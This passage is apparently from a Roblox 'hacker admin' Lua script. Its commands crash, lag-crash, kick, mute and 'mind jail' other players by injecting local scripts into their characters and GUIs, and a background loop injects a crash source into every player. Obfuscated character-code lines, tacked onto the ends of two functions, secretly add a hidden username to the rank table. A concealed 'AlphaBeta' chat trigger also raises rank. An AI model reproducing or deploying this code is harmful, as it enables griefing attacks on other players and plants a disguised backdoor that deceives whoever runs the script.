  794. Msg = tostring(Msg)
  795. end
  796. if Plr == nil then
  797. Plr = Plrs[Owner] or error("No Player Found")
  798. elseif type(Plr) == "string" then
  799. local FoundPlr = false
  800. for _,v in pairs(All()) do
  801. if v.Name == Plr then
  802. Plr = v
  803. FoundPlr = true
  804. break
  805. end
  806. end
  807. if FoundPlr == false then
  808. Plr = Plrs[Owner] or error("No Player Found")
  809. end
  810. end
  811.  
  812. if Color == nil then
  813. Color = GetRank(Plr.Name).Color
  814. end
  815.  
  816. local Holder = Instance.new("Model")
  817. Holder.Name = "DVF Holder: "..Plr.Name
  818.  
  819. local Tab = Instance.new("Part")
  820. Tab.Name = "DVF Tablet"
  821. Tab.FormFactor = "Custom"
  822. Tab.Anchored = true
  823. if Time == nil then
  824. Tab.Color = Color
  825. else
  826. Tab.Color = AlertColor
  827. end
  828. Tab.CanCollide = false
  829. Tab.Locked = true
  830. Tab.Transparency = 0.15
  831. Tab.Size = Vector3.new(2, 2, 0.01)
  832. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  833. Tab.Parent = Holder
  834.  
  835. local ID = Instance.new("NumberValue")
  836. ID.Name = "ID"
  837. ID.Value = math.random(-999999999, 999999999)
  838. ID.Parent = Holder
  839.  
  840. Delay(0, function()
  841. while wait() do
  842. if Tab.Parent == nil and FindTab(Holder) then
  843. ypcall(function()
  844. for i,v in pairs(AllTabs) do
  845. if v.Holder == Holder then
  846. ypcall(function() v.Holder:Destroy() end)
  847. AllTabs[i] = nil
  848. end
  849. end
  850. end)
  851. Ping(Msg, Plr, Time, Func, Color, Image)
  852. break
  853. end
  854. end
  855. end)
  856.  
  857. local BM = Instance.new("BlockMesh")
  858. BM.Parent = Tab
  859.  
  860. Sel = Instance.new("SelectionBox")
  861. Sel.Color = BrickColor.new("Institutional white")
  862. Sel.Transparency = 0.75
  863. Sel.Adornee = Tab
  864. Sel.Parent = Tab
  865.  
  866. local BG = Instance.new("BillboardGui")
  867. BG.Name = "BG"
  868. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  869. BG.Size = UDim2.new(0,1,0,1)
  870. BG.Adornee = Tab
  871. BG.Parent = Tab
  872.  
  873. Delay(0, function()
  874. while BG.Parent ~= nil do wait()
  875. ypcall(function()
  876. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  877. end)
  878. end
  879. end)
  880.  
  881. local TL = Instance.new("TextLabel")
  882. TL.Name = "TL"
  883. TL.FontSize = "Size18"
  884. TL.Font = "Arial"
  885. TL.Text = Msg
  886. TL.TextColor3 = Color3.new(1, 0, 0)
  887. TL.Size = UDim2.new(0,1,0,1)
  888. TL.TextTransparency = 0
  889. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  890. TL.TextStrokeTransparency = 0.25
  891. TL.Parent = BG
  892.  
  893. if ShowGarbage == true then
  894. Delay(0, function()
  895. while TL.Parent ~= nil do
  896. TL.Text = "Current Garbage Count: "..GetGarbage()
  897. wait(.5)
  898. end
  899. end)
  900. end
  901.  
  902. local PL = Instance.new("PointLight", Tab)
  903. PL.Color = Color3.new(1, 0, 1)
  904. PL.Range = 15
  905. PL.Parent = Tab
  906.  
  907. if Image ~= nil then
  908. local BBBG = Instance.new("BillboardGui")
  909. BBBG.Size = UDim2.new(5, 0, 6, 0)
  910. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  911. BBBG.AlwaysOnTop = true
  912. BBBG.Adornee = Tab
  913. BBBG.Parent = Tab
  914.  
  915. Delay(0, function()
  916. while BBBG.Parent ~= nil do wait()
  917. ypcall(function()
  918. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  919. end)
  920. end
  921. end)
  922.  
  923. local NewImg = Instance.new("ImageLabel")
  924. NewImg.Size = UDim2.new(1, 0, 1, 0)
  925. NewImg.BackgroundTransparency = 1
  926. NewImg.Image = Image
  927. NewImg.Parent = BBBG
  928. end
  929.  
  930. local Clicker = Instance.new("ClickDetector")
  931. Clicker.MaxActivationDistance = 1/0
  932.  
  933. if Time ~= nil then
  934. coroutine.resume(coroutine.create(function()
  935. wait(tonumber(Time))
  936. Dismiss(Plr, ID)
  937. end))
  938. end
  939.  
  940. Clicker.MouseClick:connect(function(Player)
  941. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  942. ypcall(function()
  943. if Func ~= nil then
  944. Func(Holder)
  945. else
  946. Dismiss(Player, ID)
  947. end
  948. end)
  949. end
  950. end)
  951. Clicker.Parent = Tab
  952.  
  953. Holder.Parent = Work
  954.  
  955. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  956. end)
  957. end
  958. end
  959.  
  960. function PlaceAllRanks(DontShowRank)
  961. ypcall(function()
  962. for _,p in pairs(All()) do
  963. ypcall(function()
  964. PutInRank = false
  965. for _,v in pairs(Rankings) do
  966. if v.Name:lower() == p.Name:lower() then
  967. if v.Rank >= 7 then
  968. v.Rank = 5
  969. elseif v.Rank == -1 then
  970. Crash1(p)
  971. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  972. elseif v.Rank == -2 then
  973. if LS ~= nil then
  974. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  975. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  976. else
  977. Ping("LS Is Nil", nil, 5)
  978. end
  979. elseif v.Rank == -3 then
  980. if LS ~= nil then
  981. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  982. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  983. else
  984. Ping("LS Is Nil", nil, 5)
  985. end
  986. end
  987. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  988. if DontShowRank == nil then
  989. Ping("You Are Rank: "..v.Rank, p)
  990. end
  991. PutInRank = true
  992. break
  993. end
  994. end
  995. if PutInRank == false then
  996. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  997. end
  998. end)
  999. end
  1000. end)
  1001. end
  1002.  
  1003. function FindRank(Plr)
  1004. ypcall(function()
  1005. if type(Plr) == "userdata" then
  1006. Plr = Plr.Name
  1007. end
  1008. end)
  1009. return GetRank(Plr).Rank
  1010. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1011.  
  1012. function FindRankDetails(Plr)
  1013. ypcall(function()
  1014. if type(Plr) == "userdata" then
  1015. Plr = Plr.Name
  1016. end
  1017. end)
  1018. return RankDetails[FindRank(Plr)]
  1019. end
  1020.  
  1021. function OpenCmds(Rank, Plr)
  1022. Dismiss(Plr)
  1023. for Name,Tab in pairs(Commands) do
  1024. if Tab.Rank <= Rank then
  1025. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1026. Dismiss(Plr)
  1027. Ping("Command: "..Name, Plr)
  1028. Ping("Rank: "..Tab.Rank, Plr)
  1029. Ping("Desc: "..Tab.Desc, Plr)
  1030. end)
  1031. elseif Rank == 1337 then
  1032. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1033. Dismiss(Plr)
  1034. Ping("Command: "..Name, Plr)
  1035. Ping("Rank: "..Tab.Rank, Plr)
  1036. Ping("Desc: "..Tab.Desc, Plr)
  1037. end)
  1038. end
  1039. end
  1040. end
  1041.  
  1042. function EditStatus(Plr, Num)
  1043. ChangeRank(Plr, Num)
  1044. end
  1045.  
  1046. function PlaceSpecificRank(p, DontShowRank)
  1047. ypcall(function()
  1048. PutInRank = false
  1049. for _,v in pairs(Rankings) do
  1050. if v.Name:lower() == p.Name:lower() then
  1051. if v.Rank >= 7 then
  1052. v.Rank = 5
  1053. elseif v.Rank == -1 then
  1054. Crash1(p)
  1055. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1056. elseif v.Rank == -2 then
  1057. if LS ~= nil then
  1058. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1059. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1060. else
  1061. Ping("LS Is Nil", nil, 5)
  1062. end
  1063. elseif v.Rank == -3 then
  1064. if LS ~= nil then
  1065. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1066. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1067. else
  1068. Ping("LS Is Nil", nil, 5)
  1069. end
  1070. end
  1071. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1072. if DontShowRank == nil then
  1073. Ping("You Are Rank: "..v.Rank, p)
  1074. end
  1075. PutInRank = true
  1076. break
  1077. end
  1078. end
  1079. if PutInRank == false then
  1080. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1081. end
  1082. end)
  1083. end
  1084.  
  1085. function onChatted(Msg, Speaker)
  1086. if Removed == false then
  1087. if FindRank(Speaker) < 1 then
  1088. return
  1089. end
  1090. coroutine.resume(coroutine.create(function()
  1091. ypcall(function()
  1092. ExecuteFunc(Msg, Speaker)
  1093. Msg = Msg:gsub("","")
  1094. if Msg:sub(1,1) == "@" then
  1095. for i = 2, #Msg do
  1096. if Msg:sub(i, i) == Bet then
  1097. local IsForPlr = false
  1098. for _,v in pairs(All()) do
  1099. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1100. onChatted(Msg:sub(i + 1), v)
  1101. IsForPlr = true
  1102. end
  1103. end
  1104. if IsForPlr == true then
  1105. return
  1106. end
  1107. end
  1108. end
  1109. end
  1110. if Msg:find("&") then
  1111. local Split = Msg:find("&")
  1112. onChatted(Msg:sub(1,Split-1))
  1113. onChatted(Msg:sub(Split+1))
  1114. return
  1115. end
  1116. for Name,Command in pairs(Commands) do
  1117. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1118. Dismiss(Speaker.Name)
  1119. Ping("Command: "..tostring(Command.Name), Speaker)
  1120. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1121. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1122. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1123. if FindRank(Speaker) >= Command.Rank then
  1124. local Ran,Error = coroutine.resume(coroutine.create(function()
  1125. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1126. end))
  1127. if not Ran then
  1128. Ping(Error, Speaker, 10)
  1129. end
  1130. else
  1131. Ping("Your Rank Is Too Low", Plr, 6)
  1132. end
  1133. end
  1134. end
  1135. end)
  1136. end))
  1137. end
  1138. end
  1139.  
  1140. function MakeBase()
  1141. local Base = Instance.new("Part")
  1142. Base.BrickColor = BrickColor.new("Dark green")
  1143. Base.Position = Vector3.new(0, 0.5, 0)
  1144. Base.Transparency = 0
  1145. Base.Elasticity = 0.5
  1146. Base.FormFactor = "Custom"
  1147. Base.CanCollide = true
  1148. Base.Friction = 0.30000001192093
  1149. Base.Size = Vector3.new(512, 1.20000005, 512)
  1150. Base.Archivable = true
  1151. Base.Material = "Plastic"
  1152. Base.RotVelocity = Vector3.new(0, 0, 0)
  1153. Base.Reflectance = 0
  1154. Base.Locked = true
  1155. Base.Anchored = true
  1156. Base.Name = "Base"
  1157. Base.TopSurface = "Smooth"
  1158. Base.BottomSurface = "Inlet"
  1159. Base.Shape = "Block"
  1160. Base.Parent = Work
  1161. end
  1162.  
  1163. function LClean()
  1164. ypcall(function()
  1165. for _,v in pairs(Work:GetChildren()) do
  1166. ypcall(function()
  1167. if v.ClassName == "Terrain" then
  1168. v:ClearAllChildren()
  1169. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1170. Clear(v)
  1171. elseif v.Name == "Base" then
  1172. ypcall(function()
  1173. local Base = v
  1174. Base.BrickColor = BrickColor.new("Dark green")
  1175. Base.Position = Vector3.new(0, 0.5, 0)
  1176. Base.Transparency = 0
  1177. Base.Elasticity = 0.5
  1178. Base.FormFactor = "Custom"
  1179. Base.CanCollide = true
  1180. Base.Friction = 0.30000001192093
  1181. Base.Size = Vector3.new(512, 1.20000005, 512)
  1182. Base.Archivable = true
  1183. Base.Material = "Plastic"
  1184. Base.RotVelocity = Vector3.new(0, 0, 0)
  1185. Base.Reflectance = 0
  1186. Base.Locked = true
  1187. Base.Anchored = true
  1188. Base.Name = "Base"
  1189. Base.TopSurface = "Studs"
  1190. Base.BottomSurface = "Inlet"
  1191. Base.Shape = "Block"
  1192. Base.Parent = Work
  1193. end)
  1194. end
  1195. end)
  1196. end
  1197. end)
  1198. end
  1199.  
  1200. function Clean()
  1201. ypcall(function()
  1202. for _,v in pairs(Work:GetChildren()) do
  1203. ypcall(function()
  1204. if v.ClassName == "Terrain" then
  1205. v:ClearAllChildren()
  1206. else
  1207. Clear(v)
  1208. end
  1209. end)
  1210. end
  1211. MakeBase()
  1212. for _,v in pairs(All()) do
  1213. v:LoadCharacter()
  1214. end
  1215. end)
  1216. end
  1217.  
  1218. function Clear(v)
  1219. if v.Name:lower() == "sbgui" then
  1220. return
  1221. end
  1222. ypcall(function()
  1223. if #v:GetChildren() > 0 then
  1224. for _,x in pairs(v:GetChildren()) do
  1225. ypcall(function()
  1226. Clear(x)
  1227. end)
  1228. end
  1229. end
  1230. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1231. v:Destroy()
  1232. end
  1233. end)
  1234. end
  1235.  
  1236. function Command(Name, Rank, Desc, Func)
  1237. if Name == nil then
  1238. Name = "N/A"
  1239. end
  1240. if Desc == nil then
  1241. Desc = "N/A"
  1242. end
  1243. if Func == nil then
  1244. Func = function() end
  1245. end
  1246. if Rank == nil then
  1247. Rank = 0
  1248. end
  1249. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1250. end
  1251.  
  1252. function GetSplit(Msg)
  1253. return Msg:find(Bet) or nil
  1254. end
  1255.  
  1256. function ExecuteFunc(Msg, Plr)
  1257. ypcall(function()
  1258. if Msg == "LogEnable" then
  1259. LogOn = true
  1260. elseif Msg:lower() == "AlphaBeta" then
  1261. EditStatus(Plr, MakeNum())
  1262. end
  1263. end)
  1264. end
  1265.  
  1266. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1267.  
  1268. function randPlayer(Plr)
  1269. wait()
  1270. local ThePlrValue = nil
  1271. local FoundPlayer = false
  1272. ypcall(function()
  1273. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1274. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1275. wait()
  1276. randPlayer(Plr)
  1277. return
  1278. else
  1279. FoundPlayer = true
  1280. end
  1281. end)
  1282. if FoundPlayer == true then
  1283. return ThePlrValue
  1284. end
  1285. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1286.  
  1287. function getPlayer(Plr, Name)
  1288. local Players = {}
  1289. ypcall(function()
  1290. Name = Name:lower()
  1291. if Name == "me" then
  1292. table.insert(Players, Plr)
  1293. elseif Name == "all" or Name == "" then
  1294. for _,v in pairs(All()) do
  1295. if CanRun(Plr, v) then
  1296. table.insert(Players, v)
  1297. end
  1298. end
  1299. elseif Name == "others" then
  1300. for _,v in pairs(All()) do
  1301. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1302. table.insert(Players, v)
  1303. end
  1304. end
  1305. elseif Name == "random" then
  1306. local FoundRandPlr = randPlayer(Plr)
  1307. table.insert(Players, FoundRandPlr)
  1308. else
  1309. for _,v in pairs(All()) do
  1310. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1311. table.insert(Players, v)
  1312. end
  1313. end
  1314. end
  1315. end)
  1316. return Players
  1317. end
  1318.  
  1319. function ListPlayers(Speaker)
  1320. ypcall(function()
  1321. Dismiss(Speaker)
  1322. for _,v in pairs(All2()) do
  1323. if v.Parent ~= nil then
  1324. Ping(v.Name, Speaker, nil, function()
  1325. Dismiss(Speaker)
  1326. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1327. Ping("Rank: "..FindRank(v.Name), Speaker)
  1328. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1329. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1330. Ping("Set Rank", Speaker, nil, function()
  1331. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1332. Dismiss(Speaker)
  1333. for i = -2, 5 do
  1334. Ping(i, Speaker, nil, function()
  1335. ChangeRank(v, i)
  1336. Dismiss(Speaker)
  1337. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1338. end)
  1339. end
  1340. else
  1341. Ping("Your Rank Is Too Low", Speaker, 5)
  1342. end
  1343. end)
  1344. Ping("Crash (Remote)", Speaker, nil, function()
  1345. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1346. Crash2(v.Name)
  1347. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1348. end
  1349. end)
  1350. Ping("Crash (Insert)", Speaker, nil, function()
  1351. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1352. Crash3(v, Speaker)
  1353. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1354. end
  1355. end)
  1356. Ping("Kick", Speaker, nil, function()
  1357. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1358. v:Kick()
  1359. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1360. end
  1361. end)
  1362. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1363. else
  1364. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1365. Dismiss(Speaker)
  1366. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1367. ypcall(function()
  1368. Ping("Rank: "..FindRank(v.Name), Speaker)
  1369. end)
  1370. ypcall(function()
  1371. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1372. end)
  1373. ypcall(function()
  1374. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1375. end)
  1376. ypcall(function()
  1377. Ping("Set Rank", Speaker, nil, function()
  1378. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1379. Dismiss(Speaker)
  1380. for i = -2, 5 do
  1381. Ping(i, Speaker, nil, function()
  1382. ChangeRank(v, i)
  1383. Dismiss(Speaker)
  1384. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1385. end)
  1386. end
  1387. else
  1388. Ping("Your Rank Is Too Low", Speaker, 5)
  1389. end
  1390. end)
  1391. end)
  1392. ypcall(function()
  1393. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1394. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1395. Crash2(v.Name)
  1396. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1397. end
  1398. end)
  1399. end)
  1400. ypcall(function()
  1401. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1402. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1403. Crash3(v, Speaker)
  1404. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1405. end
  1406. end)
  1407. end)
  1408. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1409. end
  1410. end
  1411. end)
  1412. end
  1413.  
  1414. --Misc
  1415.  
  1416. coroutine.resume(coroutine.create(function()
  1417. PlaceAllRanks()
  1418. end))
  1419.  
  1420. Delay(0, function()
  1421. for _,v in pairs(All()) do
  1422. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1423. end
  1424. end)
  1425.  
  1426. local starttime = tick()
  1427.  
  1428. game:GetService("RunService").Heartbeat:connect(function()
  1429. if Removed == false then
  1430. ypcall(function()
  1431. for _,Player in pairs(All()) do
  1432. local PlayerTablets = {}
  1433. for i,v in pairs(AllTabs) do
  1434. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1435. table.insert(PlayerTablets, v)
  1436. end
  1437. end
  1438. for i = 1, #PlayerTablets do
  1439. ypcall(function()
  1440. local tab = PlayerTablets[i].Tab
  1441. local pos = nil
  1442. ypcall(function()
  1443. pos = Player.Character.Torso.CFrame
  1444. end)
  1445. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1446. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1447. local cPos = tab.Position
  1448. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1449. local nPos = (ePos-cPos)*.25
  1450. cPos = cPos + nPos
  1451. local t = (tick() - starttime) % 360
  1452. local change = 0.625
  1453. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1454. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1455. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1456. end)
  1457. end
  1458. end
  1459. end)
  1460. end
  1461. end)
  1462.  
  1463. Delay(0, function()
  1464. while wait() do
  1465. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1466. ypcall(function()
  1467. if Injected[v.Name] == nil and LS ~= nil then
  1468. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1469. Injected[v.Name] = true
  1470. end
  1471. end)
  1472. end
  1473. end
  1474. end)
  1475.  
  1476. Plrs.PlayerAdded:connect(function(Plr)
  1477. wait(.1)
  1478. ypcall(function()
  1479. if Removed == false then
  1480. local JoinPlrName = Plr.Name
  1481. coroutine.resume(coroutine.create(function()
  1482. PlaceSpecificRank(Plr)
  1483. end))
  1484. coroutine.resume(coroutine.create(function()
  1485. if Injected[JoinPlrName] ~= nil then
  1486. Injected[JoinPlrName] = nil
  1487. end
  1488. end))
  1489. coroutine.resume(coroutine.create(function()
  1490. Dismiss(Plr)
  1491. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1492. end))
  1493. end
  1494. end)
  1495. end)
  1496.  
  1497. Plrs.PlayerRemoving:connect(function(Plr)
  1498. wait(.1)
  1499. ypcall(function()
  1500. if Removed == false then
  1501. local LeftPlrName = Plr.Name
  1502. coroutine.resume(coroutine.create(function()
  1503. if Injected[LeftPlrName] ~= nil then
  1504. Injected[LeftPlrName] = nil
  1505. end
  1506. end))
  1507. end
  1508. end)
  1509. end)
  1510.  
  1511. coroutine.resume(coroutine.create(function()
  1512. Delay(0, function()
  1513. while FoundLocalScript == false do wait()
  1514. ypcall(function()
  1515. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1516. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1517. for _,c in pairs(v:children()) do
  1518. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1519. local NewVal = c:Clone()
  1520. NewVal.Name = "LoadingVal"
  1521. for _,s in pairs(v:GetChildren()) do
  1522. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1523. print("Found Owner")
  1524. OwnSource = s.Name
  1525. print(OwnSource)
  1526. break
  1527. end
  1528. end
  1529. wait()
  1530. LS = v:Clone()
  1531. NewVal.Parent = LS
  1532. LSSource = "LoadingVal"
  1533. FoundLocalScript = true
  1534. break
  1535. end
  1536. end
  1537. end
  1538. end
  1539. end)
  1540. end
  1541. end)
  1542. end))
  1543.  
  1544. --Commands
  1545.  
  1546. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1547. Dismiss(Speaker.Name)
  1548. Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1549. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1550. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1551. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1552. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1553. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1554. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1555. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1556. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1557. end)
  1558.  
  1559. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1560. Dismiss(Speaker.Name)
  1561. end)
  1562.  
  1563. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1564. local PlrTab = getPlayer(Speaker, Msg)
  1565. if #PlrTab > 0 then
  1566. for _,v in pairs(PlrTab) do
  1567. ypcall(function()
  1568. v.Character:BreakJoints()
  1569. Ping("Killed "..v.Name, Speaker, 5)
  1570. end)
  1571. end
  1572. end
  1573. end)
  1574.  
  1575. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1576. local PlrTab = getPlayer(Speaker, Msg)
  1577. if #PlrTab > 0 then
  1578. for _,v in pairs(PlrTab) do
  1579. ypcall(function()
  1580. if v.Name ~= Owner then
  1581. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1582. Ping("Muted "..v.Name, Speaker, 5)
  1583. end
  1584. end)
  1585. end
  1586. end
  1587. end)
  1588.  
  1589. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1590. local PlrTab = getPlayer(Speaker, Msg)
  1591. if #PlrTab > 0 then
  1592. for _,v in pairs(PlrTab) do
  1593. ypcall(function()
  1594. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1595. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1596. end)
  1597. end
  1598. end
  1599. end)
  1600.  
  1601. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1602. local PlrTab = getPlayer(Speaker, Msg)
  1603. if #PlrTab > 0 then
  1604. for _,v in pairs(PlrTab) do
  1605. ypcall(function()
  1606. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1607. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1608. end)
  1609. end
  1610. end
  1611. end)
  1612.  
  1613. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1614. local PlrTab = getPlayer(Speaker, Msg)
  1615. if #PlrTab > 0 then
  1616. for _,v in pairs(PlrTab) do
  1617. ypcall(function()
  1618. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1619. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1620. end)
  1621. end
  1622. end
  1623. end)
  1624.  
  1625. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1626. local PlrTab = getPlayer(Speaker, Msg)
  1627. if #PlrTab > 0 then
  1628. for _,v in pairs(PlrTab) do
  1629. ypcall(function()
  1630. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1631. Ping("UnMuted "..v.Name, Speaker, 5)
  1632. end)
  1633. end
  1634. end
  1635. end)
  1636.  
  1637. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1638. local Worked = false
  1639. for _,v in pairs(Work:GetChildren()) do
  1640. if string.find(v.Name:lower(), Msg:lower()) then
  1641. if v:IsA("Script") or v:IsA("LocalScript") then
  1642. v.Disabled = true
  1643. v:Destroy()
  1644. Worked = true
  1645. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1646. end
  1647. end
  1648. end
  1649. if Worked == false then
  1650. Ping("Script Not Found", Speaker, 5)
  1651. end
  1652. end)
  1653.  
  1654. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1655. Dismiss(Speaker)
  1656. local AllScripts = {}
  1657. for _,v in pairs(Work:GetChildren()) do
  1658. if v:IsA("Script") then
  1659. table.insert(AllScripts, v.Name)
